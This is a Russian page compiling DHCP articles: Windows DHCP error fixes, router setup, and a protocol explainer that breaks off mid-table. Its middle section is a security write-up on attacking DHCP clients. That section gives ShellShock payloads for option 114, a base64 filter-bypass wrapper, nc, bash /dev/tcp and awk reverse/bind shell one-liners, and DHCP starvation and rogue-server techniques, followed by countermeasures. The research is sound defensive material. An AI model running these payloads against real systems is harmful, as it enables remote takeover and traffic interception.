Разное

Dhcpnack причины: что это такое и как ее исправить

Содержание

что это такое и как ее исправить

Есть две вещи, которые могут вызвать ошибку DHCP. Одна из них это конфигурация на вашем компьютере или устройстве, которая позволяет DHCP-серверу назначать ему IP-адрес. Другая — это настройка самого DHCP-сервера.

Ошибка DHCP означает, что сервер вашей сети, предоставляющий IP-адрес для устройств, не может назначить вашему устройству IP-адрес.

Как происходит ошибка DHCP

Поскольку настройка DHCP может разорвать ваше интернет-соединение, ошибка может появляться во многих формах. В конечном счете, основным симптомом является то, что вы не сможете получить доступ к Интернету.

Ошибка DHCP возникает, когда DHCP-сервер или маршрутизатор в сети не может автоматически настроить IP-адрес компьютера или устройства для подключения к сети. Обычно это приводит к ошибке сетевого подключения при попытке доступа в Интернет через веб-браузер.

Что делает ошибку DHCP настолько трудной для устранения, потому что ошибка не всегда включает упоминание о DHCP. Однако вы можете подтвердить, является ли ошибка DHCP причиной вашей проблемы с интернет-соединением , несколькими способами.

Устранение неполадок, исправить ошибку DHCP

Самый простой способ исправить проблемы с интернет-соединением — позволить Windows автоматически исправить ваши интернет-настройки. Если ваши настройки DHCP неверны, Windows попытается их исправить автоматически.

  1. Для этого просто щелкните правой кнопкой мыши значок сетевого подключения на панели задач Windows и выберите Устранение неполадок.
  2. Средство устранения неполадок в сети определит все параметры, которые могут вызывать проблемы с подключением к Интернету. Он предоставит вам возможность применить предложенные исправления. Если ваши настройки DHCP вызывают ошибку, они также будут исправлены. Выберите Применить это исправление, чтобы применить предложенные изменения.
  3. Если автоматические исправления сработали, вы должны увидеть, как работает ваше сетевое соединение. Откройте веб-браузер и попробуйте подключиться к Интернету. Если это все еще не работает, вам нужно будет вручную исправить настройки DHCP.

Исправить настройки DHCP вручную

Если автоматическое устранение неполадок не исправило ваши настройки DHCP, вы можете сделать это вручную.

  1. Выберите меню «Пуск» и выберите значок « Настройки» . Откроется окно настроек Windows. Выберите Сеть и Интернет в окне настроек Windows.
  2. Откроется Статус сети окно. Прокрутите вниз и выберите Изменить параметры адаптера.
  3. Это отобразит все сетевые адаптеры, которые настроены на вашем компьютере. Щелкните правой кнопкой мыши активный адаптер и выберите « Свойства».
  4. В окне «Свойства Wi-Fi» выберите « Протокол Интернета версии 4» и выберите « Свойства».
  5. Если параметр Получить IP-адрес автоматически не выбран, выберите его.
  6. Выберите OK и Закрыть, чтобы сохранить новые настройки. Перезагрузите компьютер.

Этот параметр позволяет DHCP-серверу или маршрутизатору в сети назначать компьютеру следующий доступный IP-адрес в сети.

Если вы заметили, что параметр Получить IP-адрес автоматически уже выбран, ошибка DHCP может вообще не быть вызвана сетевыми настройками вашего компьютера. Это может быть вызвано настройками вашего маршрутизатора.

Исправить ошибку DHCP с настройками маршрутизатора

В типичной корпоративной сети это DNS-сервер, который управляет IP-адресами устройств в сети. Все настройки DHCP управляются вашим ИТ-отделом, поэтому, если у вас возникают проблемы с сетевым подключением, вам следует обратиться в свою службу технической поддержки.

Однако в домашней сети настройки DHCP в вашем маршрутизаторе управляют IP-адресами устройств в сети. Если вы видите ошибки DHCP, вы должны проверить настройки маршрутизатора.

Николай Милев

Здравствуйте, меня зовут Николай Милев. Я помогаю настраивать интернет и wi-fi роутеры. Работаю системным администратором и по возможности бесплатно помогаю людям с их проблемами, консультирую.

Обращайтесь за помощью — всегда буду рад вашим вопросам в комментариях под статьями на моём сайте.

Оцените автора

( Пока оценок нет )

На чтение 3 мин. Просмотров 2.7k. Опубликовано

Атакуем DHCP / Блог компании Digital Security / Хабр

В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.

Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.

Работает DHCP, в двух словах, примерно так:

  1. DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:

    SRC IP: 0.0.0.0, DST IP: 255.255.255.255.

    На транспортном уровне все запросы отправляются так:
    SRC PORT: 68, DST PORT: 67

    Соответственно, когда сервер отвечает клиенту:
    SRC PORT: 67, DST PORT: 68

    Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле xid не равным xid клиента, то клиент отбросит ответ от сервера, поскольку посчитает, что этот ответ в другой транзакции. Остановимся на DHCP-опциях пакета. Всего их 256, а полный список можно найти здесь или тут. Клиент обязательно выставляет опцию с кодом 53 (DHCP message type тип DHCP сообщения) равной 0х01, это значит, что данный пакет предназначен для нахождения DHCP-сервера, и опцию 55 (Parameter Request List список запрашиваемых у сервера параметров, например адрес шлюза, маска подсети, DNS-серверы и т.д.).

    Вот так выглядит этот запрос в WireShark:

  2. DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.

    Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).

  3. DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (поле yiaddr), а в DST IP выставляется IP-адрес, который расположен в опции предложения сервера с кодом 54 (Server Identifier). DHCP-опции в этом запросе не отличаются от DHCPDISCOVER-запроса, за исключением опции с кодом 53 (DHCP message type тип DHCP сообщения), равной 0х03 — это значит, что данный пакет предназначен для запроса параметров от DHCP-сервера. И еще клиент добавляет в запрос опцию с кодом 54 (Server Identifier), поскольку уже знает IP-адрес сервера, а также опцию с кодом 50 (Requested IP address). Кроме того, клиент может выставить опцию 12(Host Name Option свое имя хоста) и т.п.

  4. DHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так: SRC IP: <IP-адрес сервера> DST IP: 255.255.255.255. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.

Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.

Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.

Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:

  1. Клиент отправляет DHCPREQUEST, поскольку уже подключался к этой сети. Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64

  2. Сервер отвечает DHCPACK.
    Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1

  3. Клиент с помощью протокола ARP узнает MAC-адрес шлюза, а далее, через тот же ARP, пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Запрос выглядит так:

    sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171

  4. Хост с IP-адресом 192.168.1.171 отвечает на ARP-запрос.

  5. Клиент выявил конфликт IP-адресов в сети и отправляет широковещательный DHCPDECLINE.

    Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171

  6. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0x713a0fe7. Вы обратили внимание на пакеты с номерами 89, 101, 106, 136 и 151? Если да, то наверняка поняли, что на этот раз сервер выделил клиенту IP-адрес 192.168.1.172 и перед этим DHCP-сервер сам с помощью того же ARP (пакеты с номерами 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1) убедился, что IP-адрес 192.168.1.172 свободен, и только потом отправил DHCPOFFER. После этого клиент еще раз попытался выявить конфликт IP-адресов (пакеты с номерами 136, 151: Who has 192.168.1.172? Tell 0.0.0.0).

Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:

  1. Клиент отправляет DHCPREQUEST.
    Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14

  2. В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
    Transaction ID: 0xa7ddc5cb; Message: address not available

  3. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.

Перейдем к shellshock

Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.

В какие поля и опции можно инъектировать?

Ответ: практически в любые! Вот список кодов DHCP-опций, в которые возможно инъектировать (проверено на NetworkManager из состава CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.

В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть здесь. Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы 🙂

Какие у нас ограничения?

Ответ: их много, слишком много!

  1. Длина — 256 байт
  2. Возможно использовать только команды интерпретатора
  3. Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать: "';&|
  4. После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
  5. Необходимо использовать абсолютные пути, иначе команда может не выполниться

И что тогда делать?

Ответ: обходить ограничения!

Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:

/bin/sh <(/usr/bin/base64 -d <<< Base64String)

Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.

А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:

/bin/ip addr add <IP>/<MASK> dev eth0;

Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.

Для reverse shell будем использовать стандартный shell с использованием nc:

nc -e /bin/sh <IP> <PORT> 2>&1 &
rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &

Для reverse shell также можно использовать команду отсюда:

/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:

awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &

PoC

Видео:

Еще немного про DHCP

Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.

Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.

Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.

Давайте посмотрим, как это выглядит на практике.

Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:

На рисунках видно, что load average роутера колеблется от 0.1 до 0.3, и процесс dnsmasq занимает 0% CPU.

Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:

Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.

В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.

Теперь поговорим о типах DHCP сообщений:










ValueMessage_Type
1DHCPDISCOVER
2DHCPOFFER
3DHCPREQUEST
4DHCPDECLINE
5DHCPACK
6DHCPNAK
7DHCPRELEASE
8DHCPINFORM

Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.

Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.

Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.

DHCP starvation & DHCP relay agent

В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.

Приведем пример:

  1. Наш сетевой интерфейс enp0s3 с MAC-адресом: 08:00:27:6a:82:5f и IP-адресом: 192.168.1.2. В качестве DHCP-сервера будет выступать Dnsmasq/2.73 из состава OpenWrt Chaos Calmer 15.05.1 IP-адрес: 192.168.1.1

  2. Начинаем отправку запросов:

Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!

Как это работает:

  1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.

  2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232

  3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.

  4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).

Выводы

Способы противодействия:

  1. DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;

  2. Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;

  3. Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;

  4. Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;

  5. Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;

  6. По возможности использовать статическую привязку MAC — IP на DHCP сервере;

  7. Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;

  8. Непрерывное обновления программного обеспечения. Обновить хосты можно и так 🙂

DHCP — что это такое простыми словами, как включить на роутере, адаптере?

Рад видеть Вас на fast-wolker.ru! Продолжаем изучать сетевое администрирование. Многие  пытаясь впервые настраивать роутер, сталкиваются  с неизбежными вопросами. Один из таких, на первый взгляд второстепенных вопросов — это настройка DHCP. Для  маленьких домашних сетей как правило это не актуально, и на эту опцию сначала мало кто обращает внимание.

Но, как только возникает необходимость настроить  для своих нужд работоспособную сеть  с выходом в Интернет по выделенному IP-адресу, так сказать пробелы в знаниях дают о себе знать. Читаем и берем на вооружение. В этом выпуске:

Эта статья поможет вам разобраться в теме. Все важно,  а такие «лишние» знания бесполезными не бывают и простым способом можно повысить безопасность вашей сети. Как всегда, в начале немного теории, без нее все равно никуда. Сегодня все сети построены на ключевых протоколах TCP/IP, которые во многом обеспечивает их функционирование.

Одной из служб этого протокола и является DHCP (DYNAMIC HOST CONFIGURATION PROTOCOL) или «протокол динамического конфигурирования хостов». Хостами обычно называют имена компьютеров в сети. В некотором роде они заменяют собой  IP адреса при обращении к компьютеру по имени.

DHCP является вспомогательным средством  TCP/IP и функционирует в сети как сервер, как клиент, и  как протокол по которому и передаются в сеть служебные данные. Все зависит от того, о каком уровне идет речь.

Можно включить сервер на роутере и тогда это будет сервер. Альтернативный вариант — установить DHCP  и на компьютере , например настроить в Windows 10. Можно включать или отключать эти службы на одном из компьютеров сети — это  будет уровень клиента или  сетевого протокола.

DHCP- сервер для чего он нужен?

Представим себе ситуацию, когда наша сеть состоит хотя бы  из 100 компьютеров. Задача системного администратора — строго следить за тем, чтобы каждый компьютер и устройства в сети имели свой  уникальный IP адрес. Бедный сисадмин! Ему придется несладко, ведь он обязан все это как-то контролировать. Где-то сбился адрес и чье -то рабочее место уже не функционирует…

Первые протоколы призванные решать проблему  были разработаны для рабочих станций, у которых даже не было своих жестких дисков. Сейчас мне это кажется диким, но в году так 1998 я работал на такой сети. Загружаешься с дискетки,  MS-DOS и Far-Manager в сочетании с черно-белым монитором — это была первая моя операционная система! При включении такой  компьютер шлет в сеть сообщение. Сервер сети в ответ на это сообщение шлет свое, по которому компьютер и «узнает» свой IP.

С внедрением интернета все стало совершенстоваться и вот уже нужно указывать адрес шлюза, маску подсети. Чтобы устранить недостатки существующих тогда протоколов, которые не умели в полной мере автоматизировать процесс, корпорация Microsoft и придумала DHCP, главное достоинство которого в том, что он умеет динамически назначать IP адреса из списка доступных, а неиспользуемые как бы не видны.

Системный администратор больше не думает над уникальностью и диапазонами адресов. Сторонние разработчики могут передавать через эту службу свои  настройки к собственному программному обеспечению (мы видим как это реализовано в роутерах различных фирм).   Таким образом, DHCP предназначен для автоматической конфигурации компьютерных сетей — автоматического присвоения компьютерам сети уникального IP -адреса.

DHCP на роутере что это?

Протокол динамического конфигурирования в качестве сервера сегодня реализован практически на всех моделях интернет-роутеров. И многие впервые настраивая свой маршрутизатор конечно же сталкиваются с непонятной аббревиатурой. При включении этой настройки (а она обычно по умолчанию включена) IP адреса будут автоматически присваиваться всем устройствам, подключающимся к вашей сети и сеть будет работать без участия системного администратора

Особенно удобно это выглядит при организации открытых точек доступа в Интернет по Wi-Fi  в кафе, ресторанах, общественных местах. Если DHCP не включать, то не поможет даже наличие открытого доступа к сети. Интернета не будет до тех пор, пока IP адрес, адрес шлюза, маска подсети каждому смартфону не будет присвоены вручную. Поэтому отключение DHCP при организации таких сетей недопустимо.

С точки зрения безопасности в закрытых сетях иногда  полезно наоборот отключать DHCP на маршрутизаторе. Если Вы заметили, что вашу сеть Wi-Fi регулярно, пытаются взломать или в вашей сети время от времени стали появляться незарегистрированные устройства, то отключение DHCP сделает эти попытки бесперспективными.

Не зная IP адреса, маски подсети и шлюза злоумышленник  даже подключившись к сети через кабель не сможет получить желанный интернет или зайти в сеть. Разумеется, на всех компьютерах сети при отключенном DHCP доступ к настройкам сети должен быть отключен обычным пользователям, а изменения должны вноситься только от имени администратора. А каждой станции сети должен быть вручную прописан свой IP.

Впрочем, на последних моделях некоторых маршрутизаторов  для ограничения доступа в Интернет достаточно сделать настройки для незарегистрированных устройств и ограничить им доступ:

DHCP relay что это? Настройка сервера на устройствах Microtic, Zyxel Keenetic Giga

На современных моделях маршрутизаторов теперь  можно встретить настройку DHCP — relay, но информации по ней в справочной системе устройства недостаточно. Опция расширяет функциональные возможности вашего устройства для системного администрирования.

Работа DHCP основана на обмене сообщениями между клиентами сети и сервером,  который адреса назначает. Сообщения генерируются в определенном формате и содержат служебную информацию. Они обычно не выходят за пределы вашей сети. Но как быть, если вам срочно нужно перенастроить сеть в рабочее время?

На этот случай у вас должна быть еще одна сеть с DHCP-сервером. Все что нужно -это указать адрес  соседнего сервера DHCP  «запасной» сети. Служба DHCP-relay ageht отвечает за то, чтобы ретранслировать сообщения в другую сеть на другой сервер в случае необходимости. Адреса теперь  будет назначать не ваш сервер, а тот на который вы укажете:

Все что нужно указать — это интерфейс (для доступа к Интернет) и IP адрес нужного сервера DHCP . Таким образом, функционал предназначен для назначения адресов в вашей сети из другой сети в случае возникновения такой необходимости.

Настройка сервера DHCP  на роутере  Zyxel Keenetic Giga

Фирма Zyxel сегодня выпускают  устройства, которые радуют глаз. Эти бренды сегодня популярны прежде всего благодаря функционалу который они предоставляют. Можно организовать несколько сетей на одном устройстве, подключить не одного провайдера а несколько и делать много других недостуных для предыдущих поколений устройств полезных вещей. Не менее хороша  фирма Microtic, сделал один раз настройки и забыл о проблемах.

Настройка сервера на маршрутизаторе самостоятельно  не представляет ничего сложного. В случае выделенного вам провайдером Интернет  IP- адреса нужно настроить подключение к Интернету:

Указываем данные от провайдера, не забываем про DNS, в качестве DNS 3 можно прописать гугловский DNS 8.8.8.8 Не помешает. Затем нужно создать сеть, или вернее сказать один из ее сегментов. В пункте «Мои сети и Wi-Fi» создаем новый сегмент:

В настройках включаем DHCP сервер. В качестве IP указываем адрес роутера, который для рабочих станций будет шлюзом:

IP роутера указан в качестве примера. Вы можете в качестве IP выбирать нестандартные диапазоны для повышения безопасности. Диапазоны определяют количество подсетей и  предельное количество рабочих станций в ней.   Начальный адрес пула   будет адресом «первого» компьютера. Размер пула — это количество компьютеров, которые у вас будут в сети. Время аренды- продолжительность выдачи адреса в секундах.

DHCP не включен на сетевом адаптере подключение по локальной (беспроводной) сети Windows 10, что делать?

По некоторым причинам (обновление Windows10, настройка Wi-FI) иногда можно увидеть эту ошибку в окне сообщений. Для начала проверим запущена ли  служба DHCP на вашем компьютере.  Нужно в «Панели управления» зайти в Администрирование — Службы…

…убеждаемся, что служба запущена; если это не так — перезапускаем ее. Теперь переходим к настройкам сетевой карты.

Как включить DHCP на сетевом адаптере Windows 10? Для этого правой кнопкой жмем на значок  подключения в нижнем правом углу монитора:

Идем в настройки параметров сетевого адаптера:

На компьютере обычно бывает больше одного сетевого адаптера. Если у вас WI-FI, то нужно выбрать его. У меня проводное подключение Нужно щелкнуть по нему правой кнопкой мыши:

В свойствах подключения ищем в списке используемый IP -протокол , у меня IPv4:

Далее, смотрим настройки. Если у вас DHCP на роутере включен, можно поставить флаги так:

Убеждаемся, что на сетевом адаптере включился DHCP,жмем на «Дополнительно»:

Закончили настройки. Для того, чтобы изменения вступили в силу без перезагрузки, ставим галочку:

Если Вы установили Wi-Fi -адаптер

Все же бывает, что вышеописанные способы не помогают. Долго искать; поэтому  опять жмем правой кнопкой на значке подключения:

Дождитесь окончания работы мастера:

После проведенных выше настроек он гарантированно исправляет все ошибки! Вот так легко настраивать  DHCP!

Автор публикации

не в сети 16 часов


admin

0

Комментарии: 61Публикации: 375Регистрация: 04-09-2015

Что такое DHCP и как он работает? (Объяснение основных принципов)

Навеянно очень слабой подготовкой кандидатов на должность системного администратора, может быть чем больше информации будет в сети, тем гугл будет быстрее направлять специалистов на нужную информацию?! =))

Компьютерные сети бывают разных видов и конфигураций: локальные (LAN), глобальные (WAN) и т.д. Если вы подключаетесь к локальной LAN сети или интернету, компьютеру присваивается собственный IP адрес. Он помогает идентифицировать любое устройство, подключенное к сети. В большинстве случаев, когда вы подключаетесь к LAN или интернету, вы можете заметить, что IP и другая информация, например маска подсети, присваиваются автоматически. Задумывались вы, как это происходит? В этой статье мы попробуем разобрать концепцию DHCP, на которой основываются принципы данного процесса.

Что такое DHCP?

DHCP — это протокол динамической настройки узла.

Как можно понять из названия, DHCP предназначен для настройки хоста через удаленный сервер. DCHP поддерживается по умолчанию большинством современных операционных систем, и этот протокол выступает в качестве отличной альтернативы рутинной ручной настройке параметров сети для сервера или подключаемого устройства.

Данный протокол работает на основе модели «Клиент-сервер». Являясь протоколом, DHCP имеет свой собственный метод обмена сообщениями между клиентом и сервером. Ниже представлен состав сообщения DHCP:

Поле

Длина (байты)

Описание

op

1

Тип сообщения

htype

1

Тип адреса аппаратной части

hlen

1

Длина адреса аппаратной части

hops

1

Используемое количество агентов ретрансляции. Клиенты устанавливают значение на 0.

xid

4

ID  (уникальный идентификационный номер) транзакции используемой клиентом и серверов во время сессии

secs

2

Прошедшее время (в секундах) с момента запроса клиентом начала процесса

flags

2

Значение флагов

ciaddr

4

IP-адрес клиента (если имелся ранее).

yiaddr

4

IP-адрес, предложенный сервером клиенту

siaddr

4

IP-адрес сервера

giaddr

4

